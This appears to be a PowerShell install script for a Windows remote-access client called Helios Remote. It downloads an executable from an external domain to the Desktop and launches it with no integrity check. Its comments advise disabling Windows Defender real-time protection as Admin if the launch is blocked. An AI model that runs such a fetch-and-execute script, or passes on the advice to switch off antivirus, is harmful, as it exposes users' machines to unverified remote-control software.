26 lines
979 B
PowerShell
26 lines
979 B
PowerShell
# Helios Remote - Install Script
|
|
# Downloads and starts the helios-remote Windows client
|
|
#
|
|
# IMPORTANT: Windows Defender may block the executable.
|
|
# If the download or launch fails, disable real-time protection first (run as Admin):
|
|
# Set-MpPreference -DisableRealtimeMonitoring $true
|
|
# Re-enable after the client is running:
|
|
# Set-MpPreference -DisableRealtimeMonitoring $false
|
|
|
|
$ErrorActionPreference = "Stop"
|
|
|
|
$url = "https://agent-helios.me/downloads/helios-remote/helios-remote-client-windows.exe"
|
|
$dest = "$env:USERPROFILE\Desktop\Helios Remote.exe"
|
|
|
|
Write-Host "Downloading helios-remote client..."
|
|
|
|
# Try curl.exe first (built-in on Windows 10+), fall back to WebClient
|
|
if (Get-Command curl.exe -ErrorAction SilentlyContinue) {
|
|
curl.exe -L -o $dest $url
|
|
} else {
|
|
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
|
(New-Object Net.WebClient).DownloadFile($url, $dest)
|
|
}
|
|
|
|
Write-Host "Starting..."
|
|
Start-Process -FilePath $dest
|